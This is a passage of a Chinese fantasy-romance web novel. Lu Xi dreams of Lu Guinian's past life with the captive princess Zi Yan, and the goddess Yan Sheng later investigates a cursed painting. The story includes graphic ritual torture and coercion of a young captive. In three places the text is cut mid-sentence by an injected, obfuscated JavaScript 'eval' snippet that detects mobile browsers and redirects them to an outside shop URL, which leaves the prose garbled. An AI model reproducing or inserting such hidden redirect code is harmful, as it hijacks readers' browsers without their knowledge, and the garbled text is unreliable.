陆析睁开眼睛,瞧见右边车窗口处,一位仆人正提着灯往里瞧,说道:“九殿下,祭场已到。” 陆析忽然明白:自己成了陆归年,正陷在那人的前世梦中。 他全都想起来了。 今日是陆贺年攻入太阴城的日子。 陆贺年是他二哥,不过陆归年那时才十五岁,也不是同母所出。两人只见过不到十次,到此时,陆归年连兄长征讨玄鸟的具体原因都不清楚。不过这些,通常陆贺年只和一母同胞的陆征年说得清楚,其他兄弟也都不知情。 太阴城无城廓,唯有一条废弃的护城河,河面漂浮着腐烂的尸首,散发浓浓的恶臭。 听细作说,近些气候骤冷,农田收成变差,城内粮食逐渐短缺。玄鸟国内患频频,外有奉天虎视眈眈,闹得君主子幽焦头烂额。 子幽性格愈发暴躁。他觉得天灾人祸是因为贡品不够优质,不足以体现他的虔诚,强逼着城中贵族交出家中青壮年继承人,将细皮嫩肉的贵族子女献祭。 城中的贵族男女,屠戮平民和奴隶时,他们对神无比顺从。等自己变成砧板上的鱼,他们逃得比谁都快,很快城中大乱。 陆贺年带领所有成年兄弟们直捣暴|君的巢穴,而唯一未成年的弟弟陆归年,则是去祭场解救人牲。 陆归年所在之处便是玄鸟最大的祭场。父亲和兄长说过,陆家有一半族人都丧身于这座祭场,被剁成肉羹,被贵族们分食,废料被投进炉火里焚烧。剩下的骨头,被做成器物,赠给子幽的儿女。 陆归年那时因年少而留在封地,没见过父兄描述中的凄惨场景。 今日他总算是见到了活祭。 贵族表面说是献祭,其实只不过是通过杀|戮,来满足刽子手内心的残忍乐趣。而周遭围观者众多,愚昧而盲目地拍手叫好,更使得刽子手们兴奋。 刽子手们偏不将俘虏们一刀致命,只挑起皮肉,明明刀子每日打磨,偏用得像钝刀,如拨弦般划过皮肉,听着砧板上的奴隶们堪比野鸭子般的洪亮惨叫。 这表演越是慢悠悠,人群越是沸腾。 直到他们玩腻了,观众喊累了,刽子手才会劈开这些奴隶的脖子。 士兵们集结后,打断了这场狂欢,把人质解救下来。陆归年走在有着浓烈腐臭气味的泥地,总感觉脚下有无数双挣扎的手。 走到最深处的时候,他瞧见这里绑着的尚且存活的人牲。 听士兵们介绍,原本是活祭仪式上发生了反叛。那些贵族祭品挣脱了束缚,把刽子手和祭司都绑了起来,而原本的祭品变成了执行者,执行者成了祭品。 站在最里面的祭品是玄鸟公主子颜,传闻她生得姿容甚艳,刚满十二岁便被玄鸟的最高神灵指定为圣女,对内的说法也就是神妾。 “神妾?”陆归年觉得这说法实在太荒唐了。虽说玄鸟人寿短所以婚期偏早,但十二岁……一个眉眼还未长开的小女孩,被千岁神仙定下亲事,这太荒谬了。 他走过去,看见女孩被士兵架着。 士兵们为讨好陆归年,掰起她的下颌,用力掐着她的脸。女孩被掐得吃痛,眼睛里涌现泪光,乌黑而水莹莹的,若今夜的星光。 这是对待俘虏的一般态度,谈不得一点尊重。目的是为使她的面孔发挥到极致的美丽,完整而楚楚动人地展露在少年王子面前,勾起他怜香惜玉的心。 俘虏能被主人相中,自然少不了他们的赏赐。 陆归年望过去,果真产生了一丝怜悯,命令士兵松开手。 子颜被反手绑着,直竖着脖子,仰着下巴,白了他一眼。 这时陆贺年派来的使者传话,表示祭场里绝大多数俘虏都可以原地释放,唯独子颜要留下,交给他亲自处置。 子颜娇声叹了一口气,水灵灵的眼睛看陆归年一眼,神情坦然无惧色,仿佛该来的事总要来。 陆归年心说还有人这般不怕死,但他哪里看得下一个幼小的生命为父母背负罪过。他拦腰扛起子颜,不顾她的捶打,硬把她塞进马车。 其他人也没有阻止,毕竟沦陷的国度里,俘虏遭遇什么不公正对待都不罕见。大家暧昧地对视一眼,便弯腰垂面听候领赏。 子颜也是误会陆归年要行不轨。刚进马车里,便咬了陆归年一口气,趁机挣脱了他,端坐在马车一边,威胁道:“你不怕我告诉你哥?” 她说完这话又怕激怒了陆归年,害怕地闭上了眼睛。 她等了许久,迟迟未感觉到陆归年动作,便悄咪咪睁开一只眼睛,侧目打量陆归年。陆归年坐在马车的另一端,和她空出些距离,无聊地端坐着。 陆归年膝上一沉,子颜倒在上面,竟毫无防备睡着了。她年纪小又惊吓过度,很容易乏累不堪。 陆贺年大捷的消息传来。子幽在宫殿内放了一把火,将自己作为最后一件祭品,献给了守护玄鸟的神尊。 陆归年感觉腿上软绵绵的公主,身子微微颤抖,紧接着有热泪洇湿膝头,他便伸手摸着她的头,默然安慰。 “想活下去吗?”他问。 子颜的下巴在他膝头微动,点了点头,“想。” 陆归年想起来,这日天亮后,他便匆匆进宫向陆贺年求情。陆贺年留下子颜的性命,但不准她离开奉天,要求她在宫内当质子。 在他正沉浸回忆之际,车上的子颜凭空消失了。 陆归年提灯下了马车,抬眼看向天空,天色将明未明,唯有熹光微透。再一转身,马车消失,正前方变成了皇宫的雕栏玉砌。 檐角风铃换了样式,纹章已改。 这是三年后的皇宫。 宫内的神庙门前站着子颜,她已至及笄年岁。明艳照人的少女两颊绯红,身上祭司服扣得有些乱,头上发髻歪了。 子颜出来后打了个哈欠,突然抬头,向站在廊柱后的陆归年投来一眼。 她一开始似乎没看见他,只定定地盯着陆归年手中的灯笼,眼皮半晌不眨,也不错开目光,眼睛忽然发红落泪,这才偏开目光看他这个大活人。 陆归年站定在那里,朝她做了个“过来”的口型。 子颜偏头不去看他,向前虚迈一小步。身后殿门忽地开启,绣着龙纹的袖子伸出来,按上她的肩膀。 子颜惊惧地转身,朝着殿内摇头,那只手突然揽住她的腰,猝不及防地将她拽入殿内。 陆归年走向那扇门,听到里面的动静。 “颜儿可有爱过小九?”一道熟悉的男声传出,是他兄长陆贺年的声音。 这里的小九指的就是殿外的陆归年,虽然陆归年从未兄长当面这么称呼他。 “就知道王上又听信闲言碎语,回头找我不痛快。”女声叹气,“早就解释过,那传言是假的。他当年怜取我当时年岁小,故意自毁名声,试图救我一命。” “既然他这么贴心,颜儿可有心动过?”陆贺年的声音还在继续。 殿外陆归年听到这里,不由得攥紧拳头,灯笼忽而掉地,发出轻微的响动,他赶忙拾起地上的灯笼。 殿内的两人的对话未曾停下,似乎并未察觉他的存在。 女声继续说道:“妾和他不熟。再问下去,妾立刻就搬出这里,到春官府住。”随之而至的是清晰的亲吻声,接二连三的。 男声叹了一口气,又问:“颜儿,你心里是如何看待我的?” “自然是,能护住我和全家性命之人。”女声目光一斜,瞥过门缝的阴影,声音反而变得冷淡:“和你也不怎么熟。莫要自作多情。” 她说着背靠向门扉,抵住后方的门缝,而男子的影子压上来,两人似乎耳语了什么。陆归年听不清,只隐约听到她低声:“别——” 门内瓷器碎裂一地,她抵着门缝的指节在发白。 殿内陆续传来争执声,还有器物摔碎的响动,无疑印证着他的推测。渐渐的,屋内的声音静了,那两个人似乎走进了房间深处。 这使得陆归年脑海中浮想联翩。 陆归年烦躁难安,想要立刻破门,但顾虑径直闯入会看见里面的情形,让她感到难堪。他遂点燃火把,丢掷在殿门口,然后躲在柱后,嚷道:“走水了!” 不一会儿,殿门自内打开,陆贺年衣襟未整,草草披袍疾步而出,走的时候掌心捂紧侧腹,指缝间渗出殷红血色,似是被利物划伤。 他走到院中,突然脚步一顿,垂头看了看染血的手,低声地苦笑。回头时,他目光掠过陆归年藏身的廊柱方向,漠然投去一瞥。然后也不再遮掩伤痕,仿佛炫耀似的,随后从容离开。 陆归年恐火势蔓延伤及子颜,忙从柱后走出,行至殿门处,瞧见已将庭廊照得宛如白昼。 烧得通红的殿门,瞬息间变幻了样式。 似乎已经是一年后。这处玄鸟神庙已被废弃,重新修缮成子颜的寝宫,四下仍是火蛇缠绕,但火焰比之前烧得更旺。 陆归年破门而入,只见子颜蜷缩在墙角,以身躯护住怀中的婴儿。 倒下的梁柱阻断他的去路,而溅起火星子,飞溅到她衣摆、又溅入她衣领,她仍环抱着婴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002793|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿,像是不知道痛似的。 他突然看不明白,她究竟是惜命还是不惜命? 稍微一转眼的功夫,火焰里出现一位瞳孔幽黑的白衣女仙,将子颜带了出去,不知去向。 女仙又折返回来,向陆归年指了路。 陆归年问道:“阁下是玄鸟的神仙?” 黑瞳女仙表示:“既不惧鸟,亦不畏天。”她以黑洞洞的双眼看了陆归年一会儿,捉摸不透她的想法,忽而开口:“再耽搁一会儿,下次相聚就是万年后了。” 万年后到底有谁在? 陆归年想不明白女仙的话,回神后发现眼前漆黑一片,周围渐渐显现出走马灯似的画面。眼前突然出现亮点,那光亮过分刺目,以至于他无法看清前路。 他抬手遮光,透过指缝观察,光亮逐渐减淡,接着他发觉置身于陌生的皇宫正殿里。 又过了五年,他记得这里是予奄国的王宫。 一位女子在灯火中婷婷袅袅走下台阶,身着予奄国国主的衣裳,拿着一柄户扇遮面。她似是不想见陆归年,但宫殿的出口被他挡着,她不得不停下脚步。 陆归年扳开她的扇子,扇后那张脸是五年未见的子颜,她的容貌比五年前成熟而明艳。 “你我并非同路,还请让步。”她斥责着,依旧是那副不可一世的模样,高傲地仰起脖子,看不出半点败者的沮丧。 这些年里发生很多事,子颜被送去予奄国和亲。刚嫁过去半年,予奄国国主病逝,子颜得天降旨,继任予奄国女王。予奄国对内改制囤兵,对外与周围国度密切来往。 三年不到的功夫,太阴叛乱,玄鸟的旧日盟友,纷纷倒戈玄鸟,形成对奉天的反叛之势。 不过这场动乱最终被平息,摄政王陆征年负责中央地带的平乱,又派陆归年带队前往边远地带,平定予奄国的动乱。 眼下予奄国的士兵已经大半招降,宫中仅剩一位孤零零的女王,她没办法阻挡任何事发生,只能选择接受。 陆归年没有让开,“嫂嫂,想要继续活下去吗?” 子颜叹息:“十年前那场大火是你放的?你也没想让我活。” “他告诉你的?”陆归年似有抵赖的意思。 子颜道:“他没与我说。我知道你一直在外面。也就是那一次开始,我才意识到想要活命,一定要掌握权势。” “那次,我没想要杀你。只是想救你。”陆归年回答。 “七年前的大火也是摄政王指使你放的吧?你带走我,也只是惧怕那位救我出来的神灵。可现在玄鸟的神坛被你们毁了,没有神灵能救我了。”她说着说着,眼中如死寂。 “不……不是出于畏惧,而是出于本心良知。”陆归年回忆起那场大火,忽而拥住子颜,“跟我回去。” “放开我。”子颜挣了一下,“谁稀罕。我不想要葬在奉天。” “我带你回家。”陆归年完全不顾子颜的抗议,强行抗起这位神色冷漠的女王,不顾她在不断捶打他后背,明晃晃把这位予奄国的女王扛出宫殿。 陆归年先将子颜放回封地,自己到都城复命。他隐瞒了子颜尚在人间的传言,骗他说子颜已经服毒自尽。 摄政王没质问此事,后面听到陆归年索要太阴城封地,便爽快将那座城池许给他,任命他治理玄鸟的旧民。这似乎意味着,他对子颜的事松了口。 陆归年松了一口气,迅速派人回暮雨城,着手准备三媒六聘。 回到暮雨城的路上,夹道梨花翩然起,似迎离人归,子颜病逝的消息也传了过来。陆归年记得分别时她尚且康健,却突然间去世。 或许真如她所说,没了玄鸟神灵庇佑,她活不下去了。 陆归年将子颜的尸首运去太阴城安葬,回归故乡的泥土,那里有她敬仰着的玄鸟神灵,或许能庇佑她死后的日子没有那么多‘迫不得已’。 后面的日子里,陆归年的兄长们相继离去,辅佐幼帝的事交给了他。那孩子渐渐长大,但生来对玄鸟的风俗有厌恶,至死也没有去太阴城,更未曾拜祭过子颜。 陆归年生前废除酷刑,死后因功德成为天道。 他有着以万起计的寿命。像撑着一只木筏,在时间长河里徐徐航驶,不断有浪花涌起,不断地洗涤旧迹,这些旧事他忘得差不多了。 至于颜笙……子颜……她们是一个人,又是截然不同的两个人。 * 陆析梦醒,对上颜笙的眼睛,却被她白了一眼。 “哭成这样,是梦见了谁?” 颜笙捧着柔栀仙子赠的百花凝露,倒尽壶中最后一滴,侧目瞥他一眼,命令道: “快说,我来给你解梦。” 20. 解梦(七) 陆析细细回味着那场关于颜笙前世的梦境,眼中余光不由得瞥向颜笙,心头钝痛感犹存,使得他第一次产生自己就是陆归年的感觉。 颜笙清了清嗓子,放下刚才轻松悠闲的神色,正色道:“不光是你,现在我也被困在画里束手无策。你最好乖乖配合我,助我找到那幅画,否则我们两个要一辈子困在这画里了。” 她又加重了语气威胁:“你讨厌我,必然不想和我一起困在这画里。” “我怎会讨厌嫂……”陆析赶忙停住话语,有一瞬间被梦中的陆归年夺舍了,鬼使神差地唤她嫂嫂,还好他及时醒盹,忙改口道:“弟子怎么会讨厌上神。” “随你。”颜笙也不深究这话真心假意,只说:“你把刚才的梦境告诉我,我们拼凑一下记忆。” “怎么?”陆析防备道。 颜笙解释:“我猜你来的时候,也是看见了子颜的那幅画。我们两个是被那幅画带来的,可是我找不到那画了。兴许你的记忆里有线索。” 陆析思虑半刻,百便将刚才梦境的事,一五一十地告知于颜笙,只是隐去自己在梦境中是陆归年的事。 颜笙心如止水,倒也没被梦境中子颜的遭遇有一丝愤慨,她听罢只关心画的事。 “果然是这样。”颜笙顿了顿:“我们两个进入画像后,都会触发一段这里原住居民相关的记忆。你看见的,应该是和你相似的陆归年的记忆。” “我不是他。”陆析依旧否认。 颜笙没理会他,自顾自地说下去,“等我卜个吉日吉时,你和我去趟太阴城。” “我刚从太阴城逃出来。”陆析不满道。 颜笙道:“没事。这次有张脆枣随行,就是那位极俊俏男子。”说完脸上一红,嘴里还不断念叨,“她生着一张适合报恩的脸。” 陆析回想起梦中往事,想到陆贺年的横刀夺爱,心头不由得生起烦闷,“越是俊俏的男子,越是要远离。” 颜笙斜睨一眼陆析,“哦,那我离你远一点。” 她看陆析被怼得吃瘪,不再说话了,便对他说起这趟回桃源境的见闻:“百花宫那位仙人,总觉得有点像眼熟,好像是抱朴派的。” …… * 陆归年从噩梦中醒来,他梦见子颜竟成为予奄女王,还统领予奄国和奉天对抗,并在五年后香消玉殒,这梦境的发展实在太过荒谬了。 但梦境前半段的的确确是曾经发生过的,他依然记得那两场大火。 棉褥上依旧留有白蝉花余香。 侍立在床边的奴仆急忙上前,给陆归年倒上热水。老管事眼睛圈像被蜜蜂蛰了一样红肿。 老管事说:“九殿下睡了整整七日,老身差点以为……正想着要……”他说着说着便哽咽了。 陆归年观望四下,不见所期之人,便问:“子颜呢?” 老管事想起那个丫头病恹恹的模样,不由得解释道:“她这段日子贴身侍奉,又因为误拔弓箭而自责,人都病倒了。” 陆归年想到梦中的子颜,打算快些起身下床看望她,但被老管事按住。 医官匆匆而来,替陆归年号脉,又检查他的伤势,随后道:“弓箭本就扎得深,那女子胡乱拔箭导致伤口扩大。万幸您福大命大,竟挺了过来。” 老管家忙对陆归年解释:“女君只是关心则乱,这才误伤了您。” 陆归年看向老管事:“既然我没事,那以后也不要再在子颜面前提这事了” 听到老管事点头,“您昏迷的日子里,她衣不解带守在榻边,这些我都看在眼里。怎么会怪罪她?” 陆归年舒了一口气,刚换好伤口敷料,便喊道:“快搀扶本王去见颜儿。” 郊外行宫西阁里,余香幽幽。 大门自外打开,似乎周围静谧至极,屋内并无人看管照料,只在屋外有零星两个看门侍卫。 陆归年责问道:“都说她病了,怎么身边一个照顾的人都没有?” 侍卫当即跪下,带着满脸的冤屈,表示:“是女君的意思。 陆归年一个人轻着脚步走到床前。子颜静静地躺在绣塌之上,头上盖着一块湿绢,尚还温热着。 子颜听到门响,微眯眼皮,朦胧间瞧见有人坐在床边,便下意识抓住那人的手,她拽着很紧,喃喃道:“别——” “别出去。” “好。”陆归年闻言,感受到手背上贴着的柔软,安慰道:“我不走。” 子颜闻声却皱起眉头。她睁开眼睛,看清眼前人后忙松开手。她想起身下床,但被陆归年按回被窝。 陆归年抚上子颜额头,“还有些烫。前段日子都是你照顾我,这次该换我了。” “那该是我做的。是我害你卧病不醒。”子颜道歉。 陆归年帮她塞好被角,“若你真知错了,那就快些让身体康复过来。我们之间,还有很多事需要理清。” “回去再说。”子颜目光飘向远方,忽而闭上眼睛,故作疲惫道:“我再睡会儿。最近夜里梦多,梦到好多过往的事,睡得不够实。” “喝完药再睡吧。”陆归年想到自己昏迷时的梦境,心中酸涩不已,命人端来一碗驱散风寒的汤药,侍奉子颜服药。 颜笙服药后,很快便躺下睡着了,一如初见时那般毫无防备。 陆归年浅浅叹息,俯身在她脸颊浅浅一吻。 他吻得极轻,尽管留恋但不敢停留太久,赶忙起身离开。转身时,他瞧见左侧立着一个檀木制作的雕花木柜。 刚才子颜似乎朝这方向瞥过很多次。 陆析打开柜子。柜中放着三两件衣裳,最里面藏着一尊神仙雕像,而那雕像极为眼熟,衣着似乎是奉天的服饰,还有一对长而不窄的凤目。 * 夜色漫透窗纸,屋内没有点灯,静谧而无声。 陆归年在门外踱步时,闻到了焦糊的气味。这味道让他想起梦中的两场大火,心中惶恐至极,猛地推开门。 没有浓烟。 陆归年点亮了屋里所有的蜡烛。 烛光亮起,屋内逐渐明亮,他走到那衣柜附近,瞧见那柜子里此刻空无一物。 子颜坐在床沿,眼睛肿得像两颗桃子。她换上了初来时的嫁衣,包袱摊在床榻上。烛影摇曳,陆归年走近时踢到了火盆。 盆底沉着烧焦的羽毛,还有细碎的瓷片,像是…… 原先放在衣柜里的雕像残骸。 陆归年脸色瞬间阴下来。那雕像被他往深处塞了,这会儿竟让子颜瞧见了? 在陆归年看来,子颜是恨透了那雕像象征着的陆贺年。他出于好心,便把那火盆踢到一边,踢到子颜的视线之外,免得她眼见心烦。 显然子颜没空领取他的好心,只顾着收拾行囊,等他处理好火盆便看见她背起向外走。 陆归年拦下,“回玄鸟?” 子颜没说话,也没有否认。 陆归年想起梦中的子颜没有被劫亲,最后嫁到了予奄国,还成为女王与奉天对抗。他的声音发沉,进一步问道:“还想回到予奄嫁给那将死之人,再借予奄的力,为玄鸟复国?” 子颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005733|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身形微滞,心说他怎会知道自己最初的计划,此事只她的母兄两人知道。 但此刻计划已因她的出逃而变动,结盟予奄机会渺茫,所以她不会承认。于是便解释道:“事情发展成这样,母兄二人失约。他们孤儿寡母本就难做,我要回去看看。” “等玄鸟和予奄一齐灭国,你还是要回到奉天。”陆归年盯着她,想起未来的子颜早逝的子颜,便是提议:“不如现在留下,也许能活得久一点。” 子颜愤懑表示:“一辈子隐姓埋名,活在暗处?” “等摄政王还政,我自会向王上秉明他的身世,之后颜儿便能站在白日之下。” “陆家人总爱说些空话。橙儿才多大,摄政王肯放权?” “他会的。”陆归年的语气不容置疑。 十年后奉天大胜玄鸟。然而在征战期间,摄政王遭遇诸多猜忌,连幼帝都生出疑心,不久后摄政王便患病,临终前把辅佐幼帝的责任移交给陆归年。 后面陆归年辅佐幼帝时,汲取前人的教训,他并不采用“摄政”的名头,将自己作为寻常的臣子,只向幼帝谏议,并不代劳决策。 也正因如此,直到生命终结那一刻,陆归年也没有任何决策权,迫使幼帝去太阴城拜祭生母子颜。 如今重来,他要弥补这个缺憾。 “不如我们赌一把,以十年为期。若陆征年不肯还政,你尽可踩在我的肩膀上位。我会助你们母子重见天日。” “怎么踩?”子颜听罢显然是动心了。 “比如,拿走我的爵位和封地,像你谋划予奄那样,成为奉天名正言顺的主人。”陆归年道。 子颜目光微动,但仍不肯相信,说道:“你兄长曾许我后位,结果险些要了我的命。” 毕竟吃一堑长一智,男子为图谋女子的身子,什么昏话都说得出口,到头来都兑不得现。 陆归年也知她犹豫,便干脆取来纸笔,把方才提过的诸多承诺落在纸上,并按上自己的指印,然后递给了子颜。 子颜捏着那张纸,指尖微颤着划过每一行字,却没有收起。 自己的土地交给一个没有管理经验的女子,就这么信任她?只能归结于喜欢她。这还真是个妥妥的坠入情网的痴汉! “可真是儿戏。你的封地是予奄的五倍,我凭什么能管好?”子颜道。 “你能。”陆归年答得斩钉截铁,他的信心来自那个预知梦。 梦里的子颜成为女王,推行新政,让积弱的予奄脱胎换骨。若非资源匮乏,奉天未必能胜。 他又补充道:“你的所作所为,终会忠于良知。” 子颜沉默,目光掠过床边的碎瓷,转头看向陆归年:“好。就依你的。” 陆归年深吸一口气,下了很大勇气才唤:“颜儿。”唤完这声后,他便观察子颜的反应,见她唇角微扬,自己心头一热,更是得寸进尺地提出:“我想照顾颜儿。” 笑意瞬间收敛。子颜自嘲贪心,岂能毫无付出就获得悦己者支持,但她当下仍不心悦陆归年,只好委婉道:“回城再说,总要问过母妃和兄长。” 陆归年其实也心里清楚这是拒绝:“即便你不愿嫁我,承诺依旧作数。” “不是不愿。”子颜垂眸,“只是要先回玄鸟,给母妃和兄长一个交代。其他事……容后再想。”她想着路上多些时间,足够她考虑明白。 “好。”他起身,知道她尚未动心,不愿强迫她立刻给他承诺,毕竟他自诩和强人所难的兄长不同,只轻叹一声:“那就容后再议。不必强迫自己喜欢我。” 21. 解梦(八) 两个月后,钟楼上的卯牌一动,街道两侧奏起笙乐。 乐官们正在练习新编的《陔》诗,唱道: “东陔之畔,有女颜华, 子夜清辉,灼灼其媚。 囿于西畔,暗奏清商。 念父母兮,朔夜难寐。 西陔之畔,君心葳蕤, 乙夜幽深,采采其蕊。 絷之椒殿,滋味亦殊。 念父母兮,言就尓宿。 中陔之畔,椒殿如燬。 残夜嘒寥,霾霾其壁。 瘗其焦土,亦攘蒺藜。 蓺之新卉,承妍以生。 父母念兮,毋使得见。” 高台处,颜笙端着杯陈皮茶,侧耳聆听小曲,打了个哈欠。 外面传来车轮行进声,她瞧向暮雨城街道,未看见陆归年的车队,便继续看着手中的《奉天秘史》。 一只手拽走了颜笙手中的书册。 颜笙抬头看见了陆贺年,便伸手把册子夺过来。 此书成于万年后,若被看见了定会让人生疑。 “你们这里的规矩,是没有规矩吗?”颜笙把《奉天秘史》塞回两仪袋里,又欲盖弥彰地找补:“一本虚构的话本都抢。” “如果人人都讲究规矩,那还需要礼官做什么?”陆贺年话语间似乎未看到里面的内容。 颜笙心安了,微笑着换了话题:“刚进府时看你总忙匆匆的,还以为你有急事。这段日子也没见你离开太久,看来事都忙完了。” 陆贺年没说话。 颜笙瞟着那张脸,提议道:“若近日无事,不如随我一探太阴城?” “陆征年名义上让你来暮雨防灾祈福,实际是为监督太阴?”陆贺年询问。 颜笙当即承认:“对,摄政王担心太阴叛变,才派我来的。不过,你要陪我去一趟吗?” “不去。”陆贺年拒绝干脆,解释道:“先王答应过玄鸟继承者,奉天子民绝不插手太阴城的任何事。” “他答应的是子参,还是子颜啊?”颜笙笑眯眯把茶壶推过去,一副万事了然于心的模样,“坐下来喝点茶,败败火,你听我说……” “这是为了我的私事。”颜笙叹了一口气,“上次向柔栀仙子打听过,我要找的那个仙物不在桃源境。想了想,或许是在玄鸟王族的地宫里。所以想你带路………” 颜笙说完抬头,瞧见陆贺年早已离开了。 “张脆枣……这人怎么不听人说完。”颜笙只好作罢,便独自寂寂地下楼。 颜笙所在之地是暮雨城最大的酒楼,这里来往的宾客大都是玄鸟族人。毕竟奉天国禁族人饮酒,但不禁玄鸟族人饮酒。当然这里不供应鸡肉或者任何禽类的肉。 他们便喝着小酒,压低声音聊着近日的佚事。 颜笙晃晃脑袋,那些凡夫悄咪咪说着的闲言碎语,像一阵风般送入耳中。 “陆老九已经闭府两个月。听我在官府任职的朋友说,待处理的公文存放在各部门,至今无人处理。” 陆老九说的是陆归年,他在兄弟间排行第九。 “据说他两个月前跑去东夷,抢亲咱们圣女。听说还负伤在身,现在还没回来。” 说话的人突然看向颜笙,“不对,圣女——不是死了。还被鸠占鹊巢?” “没死。被他偷偷带出来,‘絷之椒殿,暗奏清商’。只是可怜子参,根本没有谋反的意思,那对孤儿寡母一心只想救妹妹。这会儿肯定被陆家仞借机生事。” 没有想造反?可摄政王拿龟甲占卜出的结果却是会反。 颜笙纳闷起来。可这些玄鸟族人没必要撒谎,她站得远,他们也不知道她能听清他们的谈话。她不期然间将目光投过。 那些谈论的玄鸟人瞬间敛声,但看颜笙转头,便觉得是自己心虚,又说起来。 “先王在位时一直沿用玄鸟的礼法。外面人都以为选继承人这事也会学玄鸟,兄弟是第一继承者,按照次序王位该轮到陆老三。结果突然冒出一个先王与神女所生的嫡子,陆老四把陆老三踢出局。现在小的名义上是主子,掌权的却是陆老四。” “听说先王本来有道遗诏,后来宫中大火,遗诏消失了。” “被消失了,跟那位神女一样。” 座下某位玄鸟人突然长叹,“奉天总说我们吃人,这才叫吃人。神女都能吃干抹净。” “所以我兄弟崔险前些日子改信了奉天,至少自己不吃亏。” 颜笙半只脚迈出门口,听到“崔险”时脚踢到了门槛,险些绊了一跤。 崔险似乎也是崔巍长子的名字,八千年前崔险历劫时闯祸,也被关进驼铃火渊里,后来据说是魂散了。 驼铃火渊那地方,每天都有仙人魂飞魄散,化成渊底的燃料,见怪不怪了。 不过说起来,张脆枣竟然能活着出来,也是奇迹了。 颜笙走出酒楼,瞧见屋檐上浮着朵栀子花样式的云,云后藏着一位仙子。 细细一看,柔栀仙子正半躺在云上,手中拿着本册子,在册子上写写画画。 柔栀仙子发现了颜笙,赶紧以户扇遮面,假装没见到颜笙。 颜笙跳上云端,挪开她的户扇,朝她招了招手,又瞥一眼她刚才奋笔疾书的册子,“柔栀仙子,你在这里做什么?” 柔栀仙子笑了笑,只好收起扇子和书册,笑道:“随便逛逛,这不是凑巧碰到。” 她摆明是说谎,但见颜笙没戳破,便继续说道:“颜笙仙子还是想去显熠宫?总不会喜欢满月?” “满月是谁?”颜笙纳闷,她想选显熠宫纯粹因为她就是万年后显熠宫的仙人。 柔栀仙子解释道:“显熠宫主神陆贺年,满月是他乳名哦。他名字的里的贺,是在满月宴受到道贺的贺。” 颜笙听罢想了想,陆家的姓名符合凡人的成长轨迹。 老三训年便是从小到大接受训练,老四征年是随军征战沙场。老九归年是解甲归田,记得他的小字好像是康逸,确实像隐退后生活的描述。 但是,满月这小名不太衬一个年轻强壮的男子,应该没人当面会叫他吧? 柔栀仙子突然说道:“他好像有心上人。” 说到陆贺年的心上人,颜笙立刻想起来入画前在蟾桂宴门口听过的上古仙子,又想起陆析记忆里的子颜。她不免摇了摇头,“好像不止一个?帝王风流。” 柔栀仙子仿佛听到什么八卦,“什么情况?” 颜笙正要开口,柔栀仙子片拽着她袖子。她脚下突然有点不稳,随即抓住柔栀仙子的胳膊,一眨眼的功夫,发现自己被带去了显熠宫门口。 这女仙……强得离谱?竟能不借助云彩瞬间移动! 颜笙纳闷不已,自己已经是万年后桃源境法力最高的仙人,可在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011728|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位女仙面前,她那点伎俩不足看。 可这女仙,不是百花宫的花仙吗?万年后诸位仙人眼中百花宫,乃是桃源境法力最弱的存在,录取标准仅是看脸。那些花仙仅是负责管理花开花落,是桃源境最为悠闲的存在。 区区花仙,竟有这等可怕的实力? 颜笙打量着这位仙子,明显没她高,身材接近健康与瘦弱的临界点。抓着她的胳膊,却感觉她整条手臂硬邦邦的,没有什么赘肉。 和她打一场,应该不会输吧? 柔栀仙子笑眯眯看着颜笙,似乎没看出颜笙心里的小九九,只轻轻一把,便揪住颜笙的手腕,带着她明晃晃闯进了显熠宫。 现在显熠宫主人不是颜笙,现任主人陆贺年没那么多信徒,所以这宫殿略微有点寒酸。门口只有两名守卫,而守卫几乎没有拦截柔栀仙子。 快到正殿时,有位不起眼的守卫拦住她们去路:“天神说了,今日不便打扰。还请柔栀仙子回去。” 颜笙瞧向守卫的脸,这分明是未来神尊崔巍,此刻也只是陆贺年府内的守卫小兵。 柔栀仙子见她多看了崔巍一眼,便立即介绍道:“他叫崔巍,是个不知变通的死脑筋的黄皮子精,每次都要拦我。第六个儿子不错,可惜没飞升不说,还是个男的,不然真想把他拉入百花宫。” 崔攸霁?确实是个喜欢摆弄花草的公子,适合百花宫的调性。 颜笙想到这里,捂着嘴笑了笑。 柔栀仙子对崔巍施了个定身术,堂而皇之地从他身边走过,她看颜笙站着不动,便说道:“没事,他向来只是做做样子的假把式,明知道自己拦不住我。” 走远了,柔栀仙子又对颜笙压低声音道:“刚才那人,长子喜欢人妻,二儿子是个断袖。” 崔巍的长子崔险在陀铃火渊里,颜笙此不甚了解。但崔巍的第二子,不就是崔巍想拼命撮合给她的崔攸宁,由上次蟾桂宴来看,他的确是个断袖。 看来柔栀仙子的情报实还挺准。 